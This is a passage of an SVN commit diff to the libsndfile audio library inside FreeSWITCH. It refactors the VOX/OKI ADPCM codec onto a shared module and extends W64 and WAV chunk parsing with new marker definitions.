+++ freeswitch/branches/seven/libs/libsndfile/src/vox_adpcm.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2002-2005 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2002-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -19,46 +19,29 @@
 /*
 **	This is the OKI / Dialogic ADPCM encoder/decoder. It converts from
 **	12 bit linear sample data to a 4 bit ADPCM.
-**
-**	Implemented from the description found here:
-**
-**		http://www.comptek.ru:8100/telephony/tnotes/tt1-13.html
-**
-**	and compared against the encoder/decoder found here:
-**
-**		http://ibiblio.org/pub/linux/apps/sound/convert/vox.tar.gz
 */
 
+/*
+ * Note: some early Dialogic hardware does not always reset the ADPCM encoder
+ * at the start of each vox file. This can result in clipping and/or DC offset
+ * problems when it comes to decoding the audio. Whilst little can be done
+ * about the clipping, a DC offset can be removed by passing the decoded audio
+ * through a high-pass filter at e.g. 10Hz.
+ */
+
 #include	"sfconfig.h"
 
 #include	<stdio.h>
 #include	<stdlib.h>
 #include	<string.h>
+#include	<math.h>
 
 #include	"sndfile.h"
 #include	"sfendian.h"
-#include	"float_cast.h"
 #include	"common.h"
+#include	"ima_oki_adpcm.h"
 
-#define		VOX_DATA_LEN	2048
-#define		PCM_DATA_LEN	(VOX_DATA_LEN *2)
 
-typedef struct
-{	short last ;
-	short step_index ;
-
-	int		vox_bytes, pcm_samples ;
-
-	unsigned char	vox_data [VOX_DATA_LEN] ;
-	short 			pcm_data [PCM_DATA_LEN] ;
-} VOX_ADPCM_PRIVATE ;
-
-static int vox_adpcm_encode_block (VOX_ADPCM_PRIVATE *pvox) ;
-static int vox_adpcm_decode_block (VOX_ADPCM_PRIVATE *pvox) ;
-
-static short vox_adpcm_decode (char code, VOX_ADPCM_PRIVATE *pvox) ;
-static char vox_adpcm_encode (short samp, VOX_ADPCM_PRIVATE *pvox) ;
-
 static sf_count_t vox_read_s (SF_PRIVATE *psf, short *ptr, sf_count_t len) ;
 static sf_count_t vox_read_i (SF_PRIVATE *psf, int *ptr, sf_count_t len) ;
 static sf_count_t vox_read_f (SF_PRIVATE *psf, float *ptr, sf_count_t len) ;
@@ -69,29 +52,24 @@
 static sf_count_t vox_write_f (SF_PRIVATE *psf, const float *ptr, sf_count_t len) ;
 static sf_count_t vox_write_d (SF_PRIVATE *psf, const double *ptr, sf_count_t len) ;
 
-static int vox_read_block (SF_PRIVATE *psf, VOX_ADPCM_PRIVATE *pvox, short *ptr, int len) ;
+static int vox_read_block (SF_PRIVATE *psf, IMA_OKI_ADPCM *pvox, short *ptr, int len) ;
 
-/*============================================================================================
-** Predefined OKI ADPCM encoder/decoder tables.
+/*------------------------------------------------------------------------------
 */
 
-static short step_size_table [49] =
-{	16, 17, 19, 21, 23, 25, 28, 31, 34, 37, 41, 45, 50, 55, 60,
-	66, 73, 80, 88, 97, 107, 118, 130, 143, 157, 173, 190, 209,
-	230, 253, 279, 307, 337, 371, 408, 449, 494, 544, 598, 658,
-	724, 796, 876, 963, 1060, 1166, 1282, 1408, 1552
-} ; /* step_size_table */
+static int
+codec_close (SF_PRIVATE * psf)
+{
+	IMA_OKI_ADPCM * p = (IMA_OKI_ADPCM *) psf->codec_data ;
 
-static short step_adjust_table [8] =
-{	-1, -1, -1, -1, 2, 4, 6, 8
-} ; /* step_adjust_table */
+	if (p->errors)
+		psf_log_printf (psf, "*** Warning : ADPCM state errors: %d\n", p->errors) ;
+	return p->errors ;
+} /* code_close */
 
-/*------------------------------------------------------------------------------
-*/
-
 int
 vox_adpcm_init (SF_PRIVATE *psf)
-{	VOX_ADPCM_PRIVATE *pvox = NULL ;
+{	IMA_OKI_ADPCM *pvox = NULL ;
 
 	if (psf->mode == SFM_RDWR)
 		return SFE_BAD_MODE_RW ;
@@ -99,11 +77,11 @@
 	if (psf->mode == SFM_WRITE && psf->sf.channels != 1)
 		return SFE_CHANNEL_COUNT ;
 
-	if ((pvox = malloc (sizeof (VOX_ADPCM_PRIVATE))) == NULL)
+	if ((pvox = malloc (sizeof (IMA_OKI_ADPCM))) == NULL)
 		return SFE_MALLOC_FAILED ;
 
 	psf->codec_data = (void*) pvox ;
-	memset (pvox, 0, sizeof (VOX_ADPCM_PRIVATE)) ;
+	memset (pvox, 0, sizeof (IMA_OKI_ADPCM)) ;
 
 	if (psf->mode == SFM_WRITE)
 	{	psf->write_short	= vox_write_s ;
@@ -129,153 +107,40 @@
 	psf->sf.frames = psf->filelength * 2 ;
 
 	psf->sf.seekable = SF_FALSE ;
+	psf->codec_close = codec_close ;
 
 	/* Seek back to start of data. */
 	if (psf_fseek (psf, 0 , SEEK_SET) == -1)
 		return SFE_BAD_SEEK ;
 
+	ima_oki_adpcm_init (pvox, IMA_OKI_ADPCM_TYPE_OKI) ;
+
 	return 0 ;
 } /* vox_adpcm_init */
 
-/*------------------------------------------------------------------------------
-*/
-
-static char
-vox_adpcm_encode (short samp, VOX_ADPCM_PRIVATE *pvox)
-{	short code ;
-	short diff, error, stepsize ;
-
-	stepsize = step_size_table [pvox->step_index] ;
-	code = 0 ;
-
-	diff = samp - pvox->last ;
-	if (diff < 0)
-	{	code = 0x08 ;
-		error = -diff ;
-		}
-	else
-		error = diff ;
-
-	if (error >= stepsize)
-	{	code = code | 0x04 ;
-		error -= stepsize ;
-		} ;
-
-	if (error >= stepsize / 2)
-	{	code = code | 0x02 ;
-		error -= stepsize / 2 ;
-		} ;
-
-	if (error >= stepsize / 4)
-		code = code | 0x01 ;
-
-	/*
-	** To close the feedback loop, the deocder is used to set the
-	** estimate of last sample and in doing so, also set the step_index.
-	*/
-	pvox->last = vox_adpcm_decode (code, pvox) ;
-
-	return code ;
-} /* vox_adpcm_encode */
-
-static short
-vox_adpcm_decode (char code, VOX_ADPCM_PRIVATE *pvox)
-{	short diff, error, stepsize, samp ;
-
-	stepsize = step_size_table [pvox->step_index] ;
-
-	error = stepsize / 8 ;
-
-	if (code & 0x01)
-		error += stepsize / 4 ;
-
-	if (code & 0x02)
-		error += stepsize / 2 ;
-
-	if (code & 0x04)
-		error += stepsize ;
-
-	diff = (code & 0x08) ? -error : error ;
-	samp = pvox->last + diff ;
-
-	/*
-	**  Apply clipping.
-	*/
-	if (samp > 2048)
-		samp = 2048 ;
-	if (samp < -2048)
-		samp = -2048 ;
-
-	pvox->last = samp ;
-	pvox->step_index += step_adjust_table [code & 0x7] ;
-
-	if (pvox->step_index < 0)
-		pvox->step_index = 0 ;
-	if (pvox->step_index > 48)
-		pvox->step_index = 48 ;
-
-	return samp ;
-} /* vox_adpcm_decode */
-
-static int
-vox_adpcm_encode_block (VOX_ADPCM_PRIVATE *pvox)
-{	unsigned char code ;
-	int j, k ;
-
-	/* If data_count is odd, add an extra zero valued sample. */
-	if (pvox->pcm_samples & 1)
-		pvox->pcm_data [pvox->pcm_samples++] = 0 ;
-
-	for (j = k = 0 ; k < pvox->pcm_samples ; j++)
-	{	code = vox_adpcm_encode (pvox->pcm_data [k++] / 16, pvox) << 4 ;
-		code |= vox_adpcm_encode (pvox->pcm_data [k++] / 16, pvox) ;
-		pvox->vox_data [j] = code ;
-		} ;
-
-	pvox->vox_bytes = j ;
-
-	return 0 ;
-} /* vox_adpcm_encode_block */
-
-static int
-vox_adpcm_decode_block (VOX_ADPCM_PRIVATE *pvox)
-{	unsigned char code ;
-	int j, k ;
-
-	for (j = k = 0 ; j < pvox->vox_bytes ; j++)
-	{	code = pvox->vox_data [j] ;
-		pvox->pcm_data [k++] = 16 * vox_adpcm_decode ((code >> 4) & 0x0f, pvox) ;
-		pvox->pcm_data [k++] = 16 * vox_adpcm_decode (code & 0x0f, pvox) ;
-		} ;
-
-	pvox->pcm_samples = k ;
-
-	return 0 ;
-} /* vox_adpcm_decode_block */
-
 /*==============================================================================
 */
 
 static int
-vox_read_block (SF_PRIVATE *psf, VOX_ADPCM_PRIVATE *pvox, short *ptr, int len)
+vox_read_block (SF_PRIVATE *psf, IMA_OKI_ADPCM *pvox, short *ptr, int len)
 {	int	indx = 0, k ;
 
 	while (indx < len)
-	{	pvox->vox_bytes = (len - indx > PCM_DATA_LEN) ? VOX_DATA_LEN : (len - indx + 1) / 2 ;
+	{	pvox->code_count = (len - indx > IMA_OKI_ADPCM_PCM_LEN) ? IMA_OKI_ADPCM_CODE_LEN : (len - indx + 1) / 2 ;
 
-		if ((k = psf_fread (pvox->vox_data, 1, pvox->vox_bytes, psf)) != pvox->vox_bytes)
-		{	if (psf_ftell (psf) + k != psf->filelength)
-				psf_log_printf (psf, "*** Warning : short read (%d != %d).\n", k, pvox->vox_bytes) ;
+		if ((k = psf_fread (pvox->codes, 1, pvox->code_count, psf)) != pvox->code_count)
+		{	if (psf_ftell (psf) != psf->filelength)
+				psf_log_printf (psf, "*** Warning : short read (%d != %d).\n", k, pvox->code_count) ;
 			if (k == 0)
 				break ;
 			} ;
 
-		pvox->vox_bytes = k ;
+		pvox->code_count = k ;
 
-		vox_adpcm_decode_block (pvox) ;
+		ima_oki_adpcm_decode_block (pvox) ;
 
-		memcpy (&(ptr [indx]), pvox->pcm_data, pvox->pcm_samples * sizeof (short)) ;
-		indx += pvox->pcm_samples ;
+		memcpy (&(ptr [indx]), pvox->pcm, pvox->pcm_count * sizeof (short)) ;
+		indx += pvox->pcm_count ;
 		} ;
 
 	return indx ;
@@ -284,13 +149,13 @@
 
 static sf_count_t
 vox_read_s (SF_PRIVATE *psf, short *ptr, sf_count_t len)
-{	VOX_ADPCM_PRIVATE 	*pvox ;
+{	IMA_OKI_ADPCM 	*pvox ;
 	int			readcount, count ;
 	sf_count_t	total = 0 ;
 
 	if (! psf->codec_data)
 		return 0 ;
-	pvox = (VOX_ADPCM_PRIVATE*) psf->codec_data ;
+	pvox = (IMA_OKI_ADPCM*) psf->codec_data ;
 
 	while (len > 0)
 	{	readcount = (len > 0x10000000) ? 0x10000000 : (int) len ;
@@ -308,14 +173,14 @@
 
 static sf_count_t
 vox_read_i	(SF_PRIVATE *psf, int *ptr, sf_count_t len)
-{	VOX_ADPCM_PRIVATE *pvox ;
+{	IMA_OKI_ADPCM *pvox ;
 	short		*sptr ;
 	int			k, bufferlen, readcount, count ;
 	sf_count_t	total = 0 ;
 
 	if (! psf->codec_data)
 		return 0 ;
-	pvox = (VOX_ADPCM_PRIVATE*) psf->codec_data ;
+	pvox = (IMA_OKI_ADPCM*) psf->codec_data ;
 
 	sptr = psf->u.sbuf ;
 	bufferlen = ARRAY_LEN (psf->u.sbuf) ;
@@ -335,7 +200,7 @@
 
 static sf_count_t
 vox_read_f (SF_PRIVATE *psf, float *ptr, sf_count_t len)
-{	VOX_ADPCM_PRIVATE *pvox ;
+{	IMA_OKI_ADPCM *pvox ;
 	short		*sptr ;
 	int			k, bufferlen, readcount, count ;
 	sf_count_t	total = 0 ;
@@ -343,7 +208,7 @@
 
 	if (! psf->codec_data)
 		return 0 ;
-	pvox = (VOX_ADPCM_PRIVATE*) psf->codec_data ;
+	pvox = (IMA_OKI_ADPCM*) psf->codec_data ;
 
 	normfact = (psf->norm_float == SF_TRUE) ? 1.0 / ((float) 0x8000) : 1.0 ;
 
@@ -365,7 +230,7 @@
 
 static sf_count_t
 vox_read_d (SF_PRIVATE *psf, double *ptr, sf_count_t len)
-{	VOX_ADPCM_PRIVATE *pvox ;
+{	IMA_OKI_ADPCM *pvox ;
 	short		*sptr ;
 	int			k, bufferlen, readcount, count ;
 	sf_count_t	total = 0 ;
@@ -373,7 +238,7 @@
 
 	if (! psf->codec_data)
 		return 0 ;
-	pvox = (VOX_ADPCM_PRIVATE*) psf->codec_data ;
+	pvox = (IMA_OKI_ADPCM*) psf->codec_data ;
 
 	normfact = (psf->norm_double == SF_TRUE) ? 1.0 / ((double) 0x8000) : 1.0 ;
 
@@ -397,20 +262,20 @@
 */
 
 static int
-vox_write_block (SF_PRIVATE *psf, VOX_ADPCM_PRIVATE *pvox, const short *ptr, int len)
+vox_write_block (SF_PRIVATE *psf, IMA_OKI_ADPCM *pvox, const short *ptr, int len)
 {	int	indx = 0, k ;
 
 	while (indx < len)
-	{	pvox->pcm_samples = (len - indx > PCM_DATA_LEN) ? PCM_DATA_LEN : len - indx ;
+	{	pvox->pcm_count = (len - indx > IMA_OKI_ADPCM_PCM_LEN) ? IMA_OKI_ADPCM_PCM_LEN : len - indx ;
 
-		memcpy (pvox->pcm_data, &(ptr [indx]), pvox->pcm_samples * sizeof (short)) ;
+		memcpy (pvox->pcm, &(ptr [indx]), pvox->pcm_count * sizeof (short)) ;
 
-		vox_adpcm_encode_block (pvox) ;
+		ima_oki_adpcm_encode_block (pvox) ;
 
-		if ((k = psf_fwrite (pvox->vox_data, 1, pvox->vox_bytes, psf)) != pvox->vox_bytes)
-			psf_log_printf (psf, "*** Warning : short read (%d != %d).\n", k, pvox->vox_bytes) ;
+		if ((k = psf_fwrite (pvox->codes, 1, pvox->code_count, psf)) != pvox->code_count)
+			psf_log_printf (psf, "*** Warning : short write (%d != %d).\n", k, pvox->code_count) ;
 
-		indx += pvox->pcm_samples ;
+		indx += pvox->pcm_count ;
 		} ;
 
 	return indx ;
@@ -418,13 +283,13 @@
 
 static sf_count_t
 vox_write_s (SF_PRIVATE *psf, const short *ptr, sf_count_t len)
-{	VOX_ADPCM_PRIVATE 	*pvox ;
+{	IMA_OKI_ADPCM 	*pvox ;
 	int			writecount, count ;
 	sf_count_t	total = 0 ;
 
 	if (! psf->codec_data)
 		return 0 ;
-	pvox = (VOX_ADPCM_PRIVATE*) psf->codec_data ;
+	pvox = (IMA_OKI_ADPCM*) psf->codec_data ;
 
 	while (len)
 	{	writecount = (len > 0x10000000) ? 0x10000000 : (int) len ;
@@ -442,14 +307,14 @@
 
 static sf_count_t
 vox_write_i	(SF_PRIVATE *psf, const int *ptr, sf_count_t len)
-{	VOX_ADPCM_PRIVATE *pvox ;
+{	IMA_OKI_ADPCM *pvox ;
 	short		*sptr ;
 	int			k, bufferlen, writecount, count ;
 	sf_count_t	total = 0 ;
 
 	if (! psf->codec_data)
 		return 0 ;
-	pvox = (VOX_ADPCM_PRIVATE*) psf->codec_data ;
+	pvox = (IMA_OKI_ADPCM*) psf->codec_data ;
 
 	sptr = psf->u.sbuf ;
 	bufferlen = ARRAY_LEN (psf->u.sbuf) ;
@@ -469,7 +334,7 @@
 
 static sf_count_t
 vox_write_f (SF_PRIVATE *psf, const float *ptr, sf_count_t len)
-{	VOX_ADPCM_PRIVATE *pvox ;
+{	IMA_OKI_ADPCM *pvox ;
 	short		*sptr ;
 	int			k, bufferlen, writecount, count ;
 	sf_count_t	total = 0 ;
@@ -477,7 +342,7 @@
 
 	if (! psf->codec_data)
 		return 0 ;
-	pvox = (VOX_ADPCM_PRIVATE*) psf->codec_data ;
+	pvox = (IMA_OKI_ADPCM*) psf->codec_data ;
 
 	normfact = (psf->norm_float == SF_TRUE) ? (1.0 * 0x7FFF) : 1.0 ;
 
@@ -499,7 +364,7 @@
 
 static sf_count_t
 vox_write_d	(SF_PRIVATE *psf, const double *ptr, sf_count_t len)
-{	VOX_ADPCM_PRIVATE *pvox ;
+{	IMA_OKI_ADPCM *pvox ;
 	short		*sptr ;
 	int			k, bufferlen, writecount, count ;
 	sf_count_t	total = 0 ;
@@ -507,7 +372,7 @@
 
 	if (! psf->codec_data)
 		return 0 ;
-	pvox = (VOX_ADPCM_PRIVATE*) psf->codec_data ;
+	pvox = (IMA_OKI_ADPCM*) psf->codec_data ;
 
 	normfact = (psf->norm_double == SF_TRUE) ? (1.0 * 0x7FFF) : 1.0 ;
 
@@ -527,11 +392,3 @@
 	return total ;
 } /* vox_write_d */
 
-
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: e15e97fe-ff9d-4b46-a489-7059fb2d0b1e
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/src/w64.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/w64.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/w64.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 1999-2005 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -47,8 +47,8 @@
 			static unsigned char name [16] = { (x0), (x1), (x2), (x3), (x4), (x5), \
 				(x6), (x7), (x8), (x9), (xa), (xb), (xc), (xd), (xe), (xf) }
 
-#define	riff_HASH16 MAKE_HASH16 ('r', 'i', 'f', 'f', 0x2E, 0x91, 0xCF, 0x11, 0xA5, \
-								0xD6, 0x28, 0xDB, 0x04, 0xC1, 0x00, 0x00)
+#define	riff_HASH16 MAKE_HASH16 ('r', 'i', 'f', 'f', 0x2E, 0x91, 0xCF, 0x11, \
+								0xA5, 0xD6, 0x28, 0xDB, 0x04, 0xC1, 0x00, 0x00)
 
 #define	wave_HASH16 	MAKE_HASH16 ('w', 'a', 'v', 'e', 0xF3, 0xAC, 0xD3, 0x11, \
 								0x8C, 0xD1, 0x00, 0xC0, 0x4F, 0x8E, 0xDB, 0x8A)
@@ -65,6 +65,25 @@
 #define	ACID_HASH16 	MAKE_HASH16 (0x6D, 0x07, 0x1C, 0xEA, 0xA3, 0xEF, 0x78, 0x4C, \
 								0x90, 0x57, 0x7F, 0x79, 0xEE, 0x25, 0x2A, 0xAE)
 
+#define	levl_HASH16		MAKE_HASH16 (0x6c, 0x65, 0x76, 0x6c, 0xf3, 0xac, 0xd3, 0x11, \
+								0xd1, 0x8c, 0x00, 0xC0, 0x4F, 0x8E, 0xDB, 0x8A)
+
+#define list_HASH16		MAKE_HASH16 (0x6C, 0x69, 0x73, 0x74, 0x2F, 0x91, 0xCF, 0x11, \
+								0xA5, 0xD6, 0x28, 0xDB, 0x04, 0xC1, 0x00, 0x00)
+
+#define junk_HASH16		MAKE_HASH16 (0x6A, 0x75, 0x6E, 0x6b, 0xF3, 0xAC, 0xD3, 0x11, \
+								0x8C, 0xD1, 0x00, 0xC0, 0x4f, 0x8E, 0xDB, 0x8A)
+
+#define bext_MARKER		MAKE_HASH16 (0x62, 0x65, 0x78, 0x74, 0xf3, 0xac, 0xd3, 0xaa, \
+								0xd1, 0x8c, 0x00, 0xC0, 0x4F, 0x8E, 0xDB, 0x8A)
+
+#define MARKER_HASH16	MAKE_HASH16 (0x56, 0x62, 0xf7, 0xab, 0x2d, 0x39, 0xd2, 0x11, \
+								0x86, 0xc7, 0x00, 0xc0, 0x4f, 0x8e, 0xdb, 0x8a)
+
+#define	SUMLIST_HASH16	MAKE_HASH16 (0xBC, 0x94, 0x5F, 0x92, 0x5A, 0x52, 0xD2, 0x11, \
+								0x86, 0xDC, 0x00, 0xC0, 0x4F, 0x8E, 0xDB, 0x8A)
+
+
 MAKE_MARKER16 (riff_MARKER16, 'r', 'i', 'f', 'f', 0x2E, 0x91, 0xCF, 0x11,
 								0xA5, 0xD6, 0x28, 0xDB, 0x04, 0xC1, 0x00, 0x00) ;
 
@@ -103,17 +122,22 @@
 
 int
 w64_open	(SF_PRIVATE *psf)
-{	int	subformat, error, blockalign = 0, framesperblock = 0 ;
+{	WAV_PRIVATE * wpriv ;
+	int	subformat, error, blockalign = 0, framesperblock = 0 ;
 
+	if ((wpriv = calloc (1, sizeof (WAV_PRIVATE))) == NULL)
+		return SFE_MALLOC_FAILED ;
+	psf->container_data = wpriv ;
+
 	if (psf->mode == SFM_READ || (psf->mode == SFM_RDWR &&psf->filelength > 0))
 	{	if ((error = w64_read_header (psf, &blockalign, &framesperblock)))
 			return error ;
 		} ;
 
-	if ((psf->sf.format & SF_FORMAT_TYPEMASK) != SF_FORMAT_W64)
+	if ((SF_CONTAINER (psf->sf.format)) != SF_FORMAT_W64)
 		return	SFE_BAD_OPEN_FORMAT ;
 
-	subformat = psf->sf.format & SF_FORMAT_SUBMASK ;
+	subformat = SF_CODEC (psf->sf.format) ;
 
 	if (psf->mode == SFM_WRITE || psf->mode == SFM_RDWR)
 	{	if (psf->is_pipe)
@@ -196,17 +220,25 @@
 
 static int
 w64_read_header	(SF_PRIVATE *psf, int *blockalign, int *framesperblock)
-{	WAV_FMT 	wav_fmt ;
+{	WAV_PRIVATE *wpriv ;
+	WAV_FMT 	*wav_fmt ;
 	int			dword = 0, marker, format = 0 ;
 	sf_count_t	chunk_size, bytesread = 0 ;
 	int			parsestage = 0, error, done = 0 ;
 
+	if ((wpriv = psf->container_data) == NULL)
+		return SFE_INTERNAL ;
+	wav_fmt = &wpriv->wav_fmt ;
+
 	/* Set position to start of file to begin reading header. */
-	memset (&wav_fmt, 0, sizeof (wav_fmt)) ;
 	psf_binheader_readf (psf, "p", 0) ;
 
 	while (! done)
-	{	/* Read the 4 byte marker and jump 12 bytes. */
+	{	/* Each new chunk must start on an 8 byte boundary, so jump if needed. */
+		if (psf->headindex & 0x7)
+			psf_binheader_readf (psf, "j", 8 - (psf->headindex & 0x7)) ;
+
+		/* Generate hash of 16 byte marker. */
 		bytesread += psf_binheader_readf (psf, "h", &marker) ;
 		chunk_size = 0 ;
 
@@ -217,7 +249,7 @@
 
 					bytesread += psf_binheader_readf (psf, "e8", &chunk_size) ;
 
-					if (psf->filelength < chunk_size)
+					if (psf->filelength != chunk_size)
 						psf_log_printf (psf, "riff : %D (should be %D)\n", chunk_size, psf->filelength) ;
 					else
 						psf_log_printf (psf, "riff : %D\n", chunk_size) ;
@@ -238,7 +270,7 @@
 
 			case fmt_HASH16 :
 					if ((parsestage & (HAVE_riff | HAVE_wave)) != (HAVE_riff | HAVE_wave))
-						return SFE_W64_NO_FMT ;
+						return SFE_WAV_NO_FMT ;
 
 					bytesread += psf_binheader_readf (psf, "e8", &chunk_size) ;
 					psf_log_printf (psf, " fmt : %D\n", chunk_size) ;
@@ -246,13 +278,13 @@
 					/* size of 16 byte marker and 8 byte chunk_size value. */
 					chunk_size -= 24 ;
 
-					if ((error = wav_w64_read_fmt_chunk (psf, &wav_fmt, (int) chunk_size)))
+					if ((error = wav_w64_read_fmt_chunk (psf, (int) chunk_size)))
 						return error ;
 
 					if (chunk_size % 8)
 						psf_binheader_readf (psf, "j", 8 - (chunk_size % 8)) ;
 
-					format		= wav_fmt.format ;
+					format		= wav_fmt->format ;
 					parsestage |= HAVE_fmt ;
 					break ;
 
@@ -290,12 +322,49 @@
 					psf_fseek (psf, chunk_size, SEEK_CUR) ;
 					break ;
 
+			case levl_HASH16 :
+					psf_binheader_readf (psf, "e8", &chunk_size) ;
+					psf_log_printf (psf, "levl : %D\n", chunk_size) ;
+					dword = chunk_size ;
+					psf_binheader_readf (psf, "j", dword - 24) ;
+					break ;
+
+			case list_HASH16 :
+					psf_binheader_readf (psf, "e8", &chunk_size) ;
+					psf_log_printf (psf, "list : %D\n", chunk_size) ;
+					dword = chunk_size ;
+					psf_binheader_readf (psf, "j", dword - 24) ;
+					break ;
+
+			case junk_HASH16 :
+					psf_binheader_readf (psf, "e8", &chunk_size) ;
+					psf_log_printf (psf, "junk : %D\n", chunk_size) ;
+					dword = chunk_size ;
+					psf_binheader_readf (psf, "j", dword - 24) ;
+					break ;
+
+			case bext_MARKER :
+					psf_binheader_readf (psf, "e8", &chunk_size) ;
+					psf_log_printf (psf, "bext : %D\n", chunk_size) ;
+					dword = chunk_size ;
+					psf_binheader_readf (psf, "j", dword - 24) ;
+					break ;
+
+			case MARKER_HASH16 :
+					psf_binheader_readf (psf, "e8", &chunk_size) ;
+					psf_log_printf (psf, "marker : %D\n", chunk_size) ;
+					dword = chunk_size ;
+					psf_binheader_readf (psf, "j", dword - 24) ;
+					break ;
+
+			case SUMLIST_HASH16 :
+					psf_binheader_readf (psf, "e8", &chunk_size) ;
+					psf_log_printf (psf, "summary list : %D\n", chunk_size) ;
+					dword = chunk_size ;
+					psf_binheader_readf (psf, "j", dword - 24) ;
+					break ;
+
 			default :
-					if (psf_ftell (psf) & 0x0F)
-					{	psf_log_printf (psf, "  Unknown chunk marker at position %d. Resynching.\n", dword - 4) ;
-						psf_binheader_readf (psf, "j", -3) ;
-						break ;
-						} ;
 					psf_log_printf (psf, "*** Unknown chunk marker : %X. Exiting parser.\n", marker) ;
 					done = SF_TRUE ;
 					break ;
@@ -308,10 +377,10 @@
 			break ;
 		} ; /* while (1) */
 
-	if (! psf->dataoffset)
+	if (psf->dataoffset <= 0)
 		return SFE_W64_NO_DATA ;
 
-	psf->endian = SF_ENDIAN_LITTLE ;		/* All WAV files are little endian. */
+	psf->endian = SF_ENDIAN_LITTLE ;		/* All W64 files are little endian. */
 
 	if (psf_ftell (psf) != psf->dataoffset)
 		psf_fseek (psf, psf->dataoffset, SEEK_SET) ;
@@ -340,14 +409,14 @@
 
 		case WAVE_FORMAT_MS_ADPCM :
 					psf->sf.format = (SF_FORMAT_W64 | SF_FORMAT_MS_ADPCM) ;
-					*blockalign = wav_fmt.msadpcm.blockalign ;
-					*framesperblock = wav_fmt.msadpcm.samplesperblock ;
+					*blockalign = wav_fmt->msadpcm.blockalign ;
+					*framesperblock = wav_fmt->msadpcm.samplesperblock ;
 					break ;
 
 		case WAVE_FORMAT_IMA_ADPCM :
 					psf->sf.format = (SF_FORMAT_W64 | SF_FORMAT_IMA_ADPCM) ;
-					*blockalign = wav_fmt.ima.blockalign ;
-					*framesperblock = wav_fmt.ima.samplesperblock ;
+					*blockalign = wav_fmt->ima.blockalign ;
+					*framesperblock = wav_fmt->ima.samplesperblock ;
 					break ;
 
 		case WAVE_FORMAT_GSM610 :
@@ -390,9 +459,9 @@
 	psf_fseek (psf, 0, SEEK_SET) ;
 
 	/* riff marker, length, wave and 'fmt ' markers. */
-	psf_binheader_writef (psf, "eh8hh", riff_MARKER16, psf->filelength - 8, wave_MARKER16, fmt_MARKER16) ;
+	psf_binheader_writef (psf, "eh8hh", riff_MARKER16, psf->filelength, wave_MARKER16, fmt_MARKER16) ;
 
-	subformat = psf->sf.format & SF_FORMAT_SUBMASK ;
+	subformat = SF_CODEC (psf->sf.format) ;
 
 	switch (subformat)
 	{	case	SF_FORMAT_PCM_U8 :
@@ -568,11 +637,3 @@
 	return 0 ;
 } /* w64_close */
 
-
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: 9aa4e141-538a-4dd9-99c9-b3f0f2dd4f4a
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/src/wav.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/wav.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/wav.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 1999-2006 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 ** Copyright (C) 2004-2005 David Viens <davidv@plogue.com>
 **
 ** This program is free software; you can redistribute it and/or modify
@@ -54,6 +54,7 @@
 #define note_MARKER	 (MAKE_MARKER ('n', 'o', 't', 'e'))
 #define smpl_MARKER	 (MAKE_MARKER ('s', 'm', 'p', 'l'))
 #define bext_MARKER	 (MAKE_MARKER ('b', 'e', 'x', 't'))
+#define iXML_MARKER	 (MAKE_MARKER ('i', 'X', 'M', 'L'))
 #define levl_MARKER	 (MAKE_MARKER ('l', 'e', 'v', 'l'))
 #define MEXT_MARKER	 (MAKE_MARKER ('M', 'E', 'X', 'T'))
 #define DISP_MARKER	 (MAKE_MARKER ('D', 'I', 'S', 'P'))
@@ -63,7 +64,17 @@
 #define afsp_MARKER	 (MAKE_MARKER ('a', 'f', 's', 'p'))
 #define clm_MARKER	 (MAKE_MARKER ('c', 'l', 'm', ' '))
 #define elmo_MARKER	 (MAKE_MARKER ('e', 'l', 'm', 'o'))
+#define cart_MARKER	 (MAKE_MARKER ('c', 'a', 'r', 't'))
 
+#define exif_MARKER	 (MAKE_MARKER ('e', 'x', 'i', 'f'))
+#define ever_MARKER	 (MAKE_MARKER ('e', 'v', 'e', 'r'))
+#define etim_MARKER	 (MAKE_MARKER ('e', 't', 'i', 'm'))
+#define ecor_MARKER	 (MAKE_MARKER ('e', 'c', 'o', 'r'))
+#define emdl_MARKER	 (MAKE_MARKER ('e', 'm', 'd', 'l'))
+#define emnt_MARKER	 (MAKE_MARKER ('e', 'm', 'n', 't'))
+#define erel_MARKER	 (MAKE_MARKER ('e', 'r', 'e', 'l'))
+#define eucm_MARKER	 (MAKE_MARKER ('e', 'u', 'c', 'm'))
+
 #define ISFT_MARKER	 (MAKE_MARKER ('I', 'S', 'F', 'T'))
 #define ICRD_MARKER	 (MAKE_MARKER ('I', 'C', 'R', 'D'))
 #define ICOP_MARKER	 (MAKE_MARKER ('I', 'C', 'O', 'P'))
@@ -83,7 +94,8 @@
 #define OggS_MARKER (MAKE_MARKER ('O', 'g', 'g', 'S'))
 
 #define WAV_PEAK_CHUNK_SIZE(ch) 	(2 * sizeof (int) + ch * (sizeof (float) + sizeof (int)))
-#define WAV_BEXT_CHUNK_SIZE			602
+#define WAV_BEXT_MIN_CHUNK_SIZE		602
+#define WAV_BEXT_MAX_CHUNK_SIZE		(10 * 1024)
 
 enum
 {	HAVE_RIFF	= 0x01,
@@ -146,14 +158,13 @@
 static int	wav_read_header	 (SF_PRIVATE *psf, int *blockalign, int *framesperblock) ;
